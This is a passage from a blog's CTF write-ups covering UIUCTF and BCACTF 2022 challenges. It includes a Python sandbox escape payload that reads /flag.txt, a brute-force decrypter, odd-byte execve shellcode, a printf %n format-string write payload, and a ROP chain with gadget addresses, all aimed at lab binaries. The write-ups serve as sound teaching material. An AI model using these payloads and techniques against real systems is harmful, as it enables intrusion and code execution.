<span class="s">'a'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="s">'h'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'b'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'f'</span><span class="p">,</span> <span class="s">'{'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'l'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'c'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'a'</span>  
<span class="p">,</span> <span class="s">'f'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'d'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'s'</span><span class="p">,</span> <span class="s">'m'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'u'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'l'</span><span class="p">,</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">'p'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'m'</span><span class="p">,</span> <span class="s">'k'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'d'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span>  
<span class="s">'s'</span><span class="p">,</span> <span class="s">'o'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'p'</span><span class="p">,</span> <span class="s">'h'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'c'</span><span class="p">,</span> <span class="s">'g'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'l'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'h'</span><span class="p">,</span> <span class="s">'c'</span><span class="p">,</span> <span class="s">'v'</span><span class="p">,</span> <span class="s">'d'</span><span class="p">,</span> <span class="s">'o'</span><span class="p">,</span> <span class="s">'_'</span>  
<span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'p'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'l'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'c'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'e'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'t'</span><span class="p">,</span> <span class="s">'}'</span><span class="p">,</span> <span class="s">'b'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'i'</span><span class="p">,</span> <span class="s">'o'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'c'</span><span class="p">,</span> <span class="s">'p'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'  
_'</span><span class="p">,</span> <span class="s">'h'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'u'</span><span class="p">]</span>
</code></pre></div></div>
<p>Which joins to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ln_aarhwetban_yf{_aeilitcaaf_dasmteuril\npaamkidetsoeyiphae_tcg_nl_hcvdo__yn_ptlacie_t}b_ioncpn_hayu
</code></pre></div></div>
<p>Wut? Is there a second step of encoding? Did I do something wrong? I checked the source code and realized…</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">discovery</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">eval</span><span class="p">(</span><span class="nb">compile</span><span class="p">(</span><span class="n">horse</span><span class="p">,</span> <span class="s">"&lt;horse&gt;"</span><span class="p">,</span> <span class="s">"eval"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="n">co_names</span><span class="o">=</span><span class="p">())))</span>
<span class="n">random</span><span class="p">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">discovery</span><span class="p">)</span>
</code></pre></div></div>
<p>:facepalm:</p>

<p>That’s dumb. At least the fix is a little straightforward. I encoded the payload</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">exec</span><span class="p">(</span><span class="s">'random.shuffle=lambda x:x'</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/flag.txt'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
</code></pre></div></div>
<p>and sent the encoded payload. And I got the flag!</p>

<p id="note1">*<strong>Note</strong>: I’m writing these payloads from memory, they might not work exactly as written, but work to convey the concept of what I did.</p>

<h1 id="crypto">Crypto</h1>
<h2 id="military-grade-encryption">Military grade encryption</h2>

<p>Pretty basic challenge here, the key takeaway is that the password that starts up the encryption algorithm only has 6 digits. That means there are only a million combinations. We also don’t know which bit size they payload uses, but there are only 4 options, so still only 1 million brute forces. I did a quick test and found that it was progressing fast enough in just Python to be able to brute force the whole keyspace in a few hours.</p>

<p>I wrote a program matching their encrypt program that then brute forced all combinations from <code class="language-plaintext highlighter-rouge">000000</code> to <code class="language-plaintext highlighter-rouge">999999</code>.</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">custom_decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">keysize</span><span class="p">):</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
        <span class="k">def</span> <span class="nf">_gen_key</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
                <span class="n">key</span> <span class="o">=</span> <span class="n">password</span>
                <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1000</span><span class="p">):</span>
                        <span class="n">key</span> <span class="o">=</span> <span class="n">MD5</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
                <span class="k">return</span> <span class="n">key</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">_gen_key</span><span class="p">(</span><span class="n">password</span><span class="p">))</span>
        <span class="n">ciphers</span> <span class="o">=</span> <span class="p">[</span>
                <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">KEY_PAD</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">((</span><span class="n">key</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="o">%</span> <span class="mi">2</span><span class="o">**</span><span class="mi">128</span><span class="p">))</span> <span class="p">,</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">keysize</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
        <span class="p">]</span>
        <span class="n">pt_blocks</span> <span class="o">=</span> <span class="p">[</span>
                <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">16</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
        <span class="p">]</span>
        <span class="k">return</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">pt_block</span><span class="p">)</span> <span class="k">for</span> <span class="n">pt_block</span><span class="p">,</span> <span class="n">cipher</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">pt_blocks</span><span class="p">,</span> <span class="n">cycle</span><span class="p">(</span><span class="n">ciphers</span><span class="p">))])</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
        <span class="n">keysize</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
        <span class="n">data</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.enc'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">999999</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
                <span class="n">ans</span> <span class="o">=</span> <span class="n">custom_decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">6</span><span class="p">).</span><span class="n">encode</span><span class="p">(),</span> <span class="n">keysize</span><span class="p">)</span>
                <span class="k">if</span> <span class="sa">b</span><span class="s">'uiuctf'</span> <span class="ow">in</span> <span class="n">ans</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="n">ans</span><span class="p">)</span>
                <span class="k">if</span> <span class="ow">not</span> <span class="n">i</span><span class="o">%</span><span class="mi">1000</span><span class="p">:</span>
                        <span class="k">print</span><span class="p">(</span><span class="n">keysize</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</code></pre></div></div>

<p>And then I ran 4 instances of it with all the key sizes, and got</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python cipher.py 256
256 0  
256 1000  
256 2000
<span class="nb">.</span>
<span class="nb">.</span>
<span class="nb">.</span>
256 196000  
b<span class="s1">'uiuctf{n0t_eNou6h_3ntr0_4_H4ndr0113d_Crypto}\x04\x04\x04\x04'</span>  
256 197000  
</code></pre></div></div>

<h1 id="pwn">Pwn</h1>
<h2 id="odd-shell">Odd Shell</h2>
<p>The provided binary is not stripped, so I have <code class="language-plaintext highlighter-rouge">ghidra</code> decompile it (Ghidra is awesome!)</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_20</span> <span class="o">&lt;=</span> <span class="n">local_18</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x123412340000</span><span class="p">)();</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)(</span><span class="n">local_18</span> <span class="o">+</span> <span class="mh">0x123412340000</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
  <span class="n">local_18</span> <span class="o">=</span> <span class="n">local_18</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Key takeaways:</p>
<ol>
  <li>It reads and then executes shellcode.</li>
  <li>The shellcode is at a fixed address.</li>
  <li>If (any byte &amp; 1) == 0, i.e. if any byte of the payload is even, the shellcode is not executed.
<em>Odd Shell</em>, that name makes sense now.</li>
</ol>

<p>Ideas:</p>
<ol>
  <li>Write your shellcode, then somehow XOR mask it. You’ll have to loop over the (fixed) shellcode bytes and XOR them while shifting a mask. If the masking code is written, this makes the rest of the problem really easy.</li>
  <li>Manually write basic shellcode, then modify it to not use any odd bytes.</li>
</ol>

<p>I chose option 2 later, because 1 seemed really hard and involved multiple steps. Although, for a larger exploitation routine, it would be far more efficient to have self-masking shellcode. First, to set up the build environment, I looked into various nasm build tutorials, and after a bunch of trial and error, settled on this build setup.</p>

<p><code class="language-plaintext highlighter-rouge">shellcode.asm</code> contained my assembly code. <code class="language-plaintext highlighter-rouge">-fbin</code> converts the shellcode to raw (x86_64) machine code, not a full executable binary format. <code class="language-plaintext highlighter-rouge">-l /dev/stdout</code> outputs the <em>list file</em>, which is a human-readable file mapping each line of your assembly to the output in hex.
I monitored the compiled version of my assembly live by running the following in another shell.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>watch <span class="s1">'nasm -fbin shellcode.asm -l /dev/stdout'</span>
</code></pre></div></div>
<p>The list file is key in looking at which commands result in odd or even bytes.</p>

<p>I started with some <a href="https://shell-storm.org/shellcode/files/shellcode-603.php">standard shellcode from shell-storm.org</a>, and started modifying it.</p>

<p>It took a lot of iteration, but this is what I transformed that into</p>
<ol>
  <li>RCX contained the location to the shellcode
There are various ways to escape an even byte. XOR it with 1 (i.e. increment), decrement it or increment it (and do the opposite in the code of course).</li>
</ol>

<pre><code class="language-asm">dec dword [ rcx + 0xb ] ; unless overflow dword fine  
dec dword [ rcx + 0xd ] ; unless overflow dword fine  
db      0x49, 0x31, 0xD3 ; 4831D2 xor     rdx, rdx  
</code></pre>
<p>for example, xor rdx, rdx leads to 4831D2h, but 48h and D2h would be blocked by the program filter. So, I store 4931D3 in that location and decrement two of the bytes.</p>

<p>To store the string //bin/sh, I generate an XOR mask, however, just to see the other technique in action. The following section generates the mask using <code class="language-plaintext highlighter-rouge">or</code> and <code class="language-plaintext highlighter-rouge">shl</code>.</p>

<pre><code class="language-asm">xor r9,r9;
or r9, 1;
shl r9, 7
shl r9, 1
or r9, 1;
shl r9,23;
shl r9,1;
or r9, 1;
shl r9,15;
shl r9,1;
or r9, 1;
shl r9,7;
shl r9,1;
; effectively: xor rbx, r9;
</code></pre>

<p>After that, I used the same <code class="language-plaintext highlighter-rouge">dec [ rcx + &lt;offset&gt;]</code> technique to escape any other instructions when needed, while following the overall template of the shellcode from shell-storm.org.</p>

<p>You can find my full shellcode (comments and all) <a href="./shellcode.asm.txt">here</a>.</p>

<hr />

<p>Overall, though I had limited time to work on it, UIUCTF was a great opportunity with a lot of challenging problems! Thanks to the team at UIUC that made it possible!</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="puzzles" /><category term="ctf" /><category term="hacking" /><category term="binary exploitation" /><summary type="html"><![CDATA[Some challenges from another fun CTF I did this summer…]]></summary></entry><entry><title type="html">BCACTF 2022 Pwn Writeups - The Hard Ones</title><link href="https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf2/" rel="alternate" type="text/html" title="BCACTF 2022 Pwn Writeups - The Hard Ones" /><published>2022-07-21T22:00:00-05:00</published><updated>2022-07-21T23:06:47-05:00</updated><id>https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf2</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/puzzles/2022/07/bcactf2/"><![CDATA[<p>Continued from <a href="../bcactf1">part 1 - the easy ones</a></p>

<h2 id="format-fortune">Format Fortune</h2>
<p>Let’s gooo format strings.
First, to test whether it was a basic memory leak, I input <code class="language-plaintext highlighter-rouge">%s%s%s%s%s%s</code> into there, resulting in nothing. I also input repeated <code class="language-plaintext highlighter-rouge">%p</code>, which prints the hex content of the memory address, decoded the hex (cyberchef ftw), and got nothing. I also tried enumeration using <code class="language-plaintext highlighter-rouge">%&lt;num&gt;$s</code> and that got nowhere.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'from pwn import *; import sy  
s; write = sys.stdout.buffer.write; write(b"%p"*60 + b"\n")'</span> | ./format-fortune     
Welcome to my casino! You look like you want to throw your life savings away...  
Don<span class="s1">'t tell anyone, but around here, the house ALWAYS wins.  
Give it a try! But first, what'</span>s your name?  
Well, good luck, 0x7ffd96dccfe0<span class="o">(</span>nil<span class="o">)</span>0x7f5dc5501f970x1<span class="o">(</span>nil<span class="o">)</span>0x70257025702570250x70257025702570250x702570  
25702570250x70257025702570250x70257025702570250x70257025702570250x250x2baea833cad1a1000x10x7f5dc542929  
00x4000400x40127f0x1000000000x7ffd96dcf2580x7ffd96dcf2580x230f4ecb10dd8826<span class="o">(</span>nil<span class="o">)</span>0x7ffd96dcf268<span class="o">(</span>nil<span class="o">)</span>Test  
ing your luck... please <span class="nb">wait  
  
</span>I warned you! No flag today.
</code></pre></div></div>

<p>So, it’s probably memory modification using <code class="language-plaintext highlighter-rouge">%n</code>. Let’s get into static reversing.
Is the binary stripped (function names and similar debug info removed)?</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file format-fortune    
format-fortune: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /  
lib64/ld-linux-x86-64.so.2, BuildID[sha1]<span class="o">=</span>a2162ce627b72b56316f43d8a1c5e5ee9d6119b8, <span class="k">for </span>GNU/Linux 3.2.  
0, not stripped
</code></pre></div></div>
<p><strong>not stripped</strong>. Nice. Let’s fire up <code class="language-plaintext highlighter-rouge">ghidra</code> to decompile.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">fgets</span><span class="p">(</span><span class="n">local_48</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Well, good luck, "</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="n">local_48</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Testing your luck... please wait"</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">magic</span> <span class="o">==</span> <span class="mh">0xbeef</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">I</span><span class="se">\'</span><span class="s">m impressed! You</span><span class="se">\'</span><span class="s">ve won a flag"</span><span class="p">);</span>
  <span class="n">printflag</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">I warned you! No flag today."</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So, we need to use the printf on line 3 to set the variable <code class="language-plaintext highlighter-rouge">magic</code> to <code class="language-plaintext highlighter-rouge">0xbeef</code>.</p>

<p>Using readelf again, we see that magic is at <code class="language-plaintext highlighter-rouge">0x40408c</code>, and 0xbeef = 48879.</p>

<p>That means the goal is to print 0xbeef (48879) chars, which can be easily done using <code class="language-plaintext highlighter-rouge">%48879s</code> (which will print the string at the first argument right justified to fit 0xbeef characters). Then we will use %n. Basically, <code class="language-plaintext highlighter-rouge">%n</code> writes the number of characters that have been written at this point in the format string, to a location in memory specified by the argument. By writing <code class="language-plaintext highlighter-rouge">%48879s</code>, we can print 0xbeef characters and then use <code class="language-plaintext highlighter-rouge">%n</code> to write 0xbeef to memory.</p>

<p>So, I got stuck for a while finding what argument number <code class="language-plaintext highlighter-rouge">x</code>, specified by <code class="language-plaintext highlighter-rouge">%x$n</code>, would contain a pointer to magic. Using <code class="language-plaintext highlighter-rouge">gdb</code>, I found, there is no pointer to magic on the stack whatsoever. Well then how am I supposed to overwrite magic 🤷.</p>

<p>I looked through some of my old solves of similar problems and realized that when the input is long enough, and the stack is set up right, you can use printf argument specifiers to access the very string you enter. This means, you can get a pointer to any arbitrary address in memory. Basically, anything after the first 6 arguments to printf are stored on the stack, so if you use for example <code class="language-plaintext highlighter-rouge">%8$x</code>, you could be printing contents of stuff that you have entered as hex. Or, with <code class="language-plaintext highlighter-rouge">%8$n</code>, writing to an address you specify.</p>

<p>So, I sent the following to binary using <code class="language-plaintext highlighter-rouge">sys.stdout.buffer.write</code>.</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sa">b</span><span class="s">"%9$lx "</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0040408c</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span>
</code></pre></div></div>
<p>That returns the following, and the hex shows that 1. my custom bytes were read in right, 2. I can access it with format specifiers.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Well, good luck, 40408c AAAAAAAAAAAAAAAAAA�@@Testing you  
</code></pre></div></div>

<p>Then, I make minor adjustments to make it print the right number of characters and apply <code class="language-plaintext highlighter-rouge">%n</code>. payload:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sa">b</span><span class="s">"%9$48879lx%9$n"</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">10</span> <span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x0040408c</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">
</span></code></pre></div></div>
<p>This is printing 48879 (0xbeef) useless characters, the ‘A’s serve as padding to line up the pointer to <code class="language-plaintext highlighter-rouge">magic</code> with the 9th value (<code class="language-plaintext highlighter-rouge">%9</code>), and then there’s the pointer.
Running that against remote, I get</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I'm impressed! You've won a flag  
bcactf{wh0_ev3n_c4me_up_w1tH_%n_38e84f}  
[karmanyaahm@karmanyaahsArch]: ~/CTF/bca22/pwn/formatfortune&gt;$
</code></pre></div></div>
<p>🎉</p>

<h2 id="rop-jump">ROP Jump</h2>
<p>I immediately check whether the binary is stripped and pull up ghidra now that we’re in that territory.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ropjump</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_78</span> <span class="p">[</span><span class="mi">112</span><span class="p">];</span>
  
  <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Better start jumping!"</span><span class="p">);</span>
  <span class="n">gets</span><span class="p">(</span><span class="n">local_78</span><span class="p">);</span>
  <span class="n">jumps</span> <span class="o">=</span> <span class="n">jumps</span> <span class="o">+</span> <span class="mi">1</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Woo, that was quite the workout wasn</span><span class="se">\'</span><span class="s">t it!"</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">b</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_78</span> <span class="p">[</span><span class="mi">104</span><span class="p">];</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">local_10</span><span class="p">;</span>
  
  <span class="k">if</span> <span class="p">((</span><span class="n">jumps</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="n">jumps</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">local_10</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Looks like we</span><span class="se">\'</span><span class="s">ve run out of jump ropes..."</span><span class="p">);</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"Challenge is misconfigured. Please contact admin if you see this."</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="kt">double</span><span class="p">)</span><span class="n">jumps</span><span class="p">,</span>
             <span class="s">"Wow, how did you manage to jump %.2f times. Guess we might need to return those jump r opes...</span><span class="se">\n</span><span class="s">"</span>
            <span class="p">);</span>
      <span class="n">fgets</span><span class="p">(</span><span class="n">local_78</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="n">local_10</span><span class="p">);</span>
      <span class="n">puts</span><span class="p">(</span><span class="n">local_78</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span> <span class="p">((</span><span class="n">jumps</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="mi">1</span><span class="p">.</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="n">jumps</span><span class="p">))</span> <span class="p">{</span>
</code></pre></div></div>
<p>So, to get the flag, we need to jump to <code class="language-plaintext highlighter-rouge">b</code>, but also set <code class="language-plaintext highlighter-rouge">jumps</code> to a value <strong>between</strong> 1 and 2. The value of jumps is stored in a 4 byte float.
We increment <code class="language-plaintext highlighter-rouge">jumps</code> by 1 the first time <code class="language-plaintext highlighter-rouge">ropjump</code> is called to read in our overflowed input.</p>

<p>So, I played around with integer -&gt; float memory representations a bit in gdb.
So, a memory value of 0x3f800000 is equal to 1.0 when parsed as a float, 0x40000000 is 2.0.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>p/f 0x3f800000  
$9 = 1
p/x (float)(1.0 + 1.0)  
$14 = 0x40000000
p/f 0x40000000-0x1  
$16 = 1.99999988
</code></pre></div></div>

<p>So all I need to do is call ropjump twice (set to 2) and then decrement that buffer by one (int) to get a 1.9999 something float. That sounds easy, let’s just look for the right gadgets…<br />
.<br />
.<br />
.
.
right. not easy. There aren’t any gadgets performing (inc or dec)s on xmm (float) registers in a way that’s convenient to use here. I’m not going to describe my whole convoluted though process here, but after many hours of iterations and trial and error, I ended up with the following:</p>

<p>Using <code class="language-plaintext highlighter-rouge">readelf -s</code>, we know that jumps is stored at 0x40408c.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ls</span> <span class="o">=</span> <span class="p">[</span>  
	<span class="mh">0x00000000004013aa</span><span class="p">,</span> <span class="c1"># pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;    
</span>	<span class="mh">0x40408c</span> <span class="o">-</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="c1"># rbx = jumps # + 3 might not be, todo, find small byte  
</span>	<span class="c1"># no +3  
</span>	<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span> <span class="c1"># rbp, r12, r13, r14, r15  
</span>	
	<span class="mh">0x00000000004013b3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># single pop for stack alignment  
</span>	<span class="mh">0x00000000004013b3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># single pop for stack alignment  
</span>	
	<span class="mh">0x00000000004013a9</span><span class="p">,</span> <span class="c1"># or byte ptr [rbx + 0x5d], bl; pop r12; pop r13; pop r14; pop r15; ret;    
</span>	<span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span> <span class="c1"># r12,13,14,15  
</span>	
	<span class="mh">0x00000000004011d6</span><span class="o">+</span><span class="mi">4</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="c1">#b function  
</span><span class="p">]</span>
</code></pre></div></div>

<p>The important part here is</p>

<pre><code class="language-asm">pop rbx
0x40408c - 0x5d
or byte ptr [rbx + 0x5d], bl
</code></pre>

